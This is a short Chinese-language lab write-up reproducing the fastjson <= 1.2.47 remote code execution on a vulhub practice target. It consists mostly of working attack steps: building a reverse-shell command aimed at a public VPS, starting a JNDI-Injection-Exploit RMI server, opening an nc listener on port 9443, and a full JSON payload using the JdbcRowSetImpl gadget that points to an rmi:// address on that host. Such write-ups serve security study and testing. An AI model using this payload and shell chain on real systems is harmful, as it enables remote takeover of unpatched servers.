1.利用条件
fastjson <= 1.2.47
2.复现环境
靶机:vulhub靶场
攻击环境:一台公网vps,本地burp发送攻击数据包
3.具体步骤
1)docker起靶场
进入到vulhub靶场1.2.47-rce目录环境下
cd 1.2.47-rce
docker-compose up -d
浏览器访问靶场环境如下
2)反弹shell命令制作
https://krober.biz/misc/reverse_shell.php?ip=122.51.255.154&port=9443
将该bash命令加密
https://x.hacking8.com/java-runtime.html
3)起rmi服务器
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "加密后的反弹shell命令" -A "起rmi服务器的vps ip"
工具地址:https://github.com/welk1n/JNDI-Injection-Exploit
备注:我是用公网vps上的docker气的vulhub,rmi服务器也是用同一台vps起的,所以看ip可能有点迷糊
4)公网vps起监听
nc -lvp 9443
5)用浏览器访问靶机,修改burp抓取的数据包,主要修改的是标红处的数据包
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://122.51.255.154:1099/j3la6s",
"autoCommit":true
}
}
6)查看监听的端口
发现已经接收到了shell
4.总结
大致验证过成应该是这样,过了两天才写的记录,应该没什么遗漏吧。用dnslog验证的就没写了。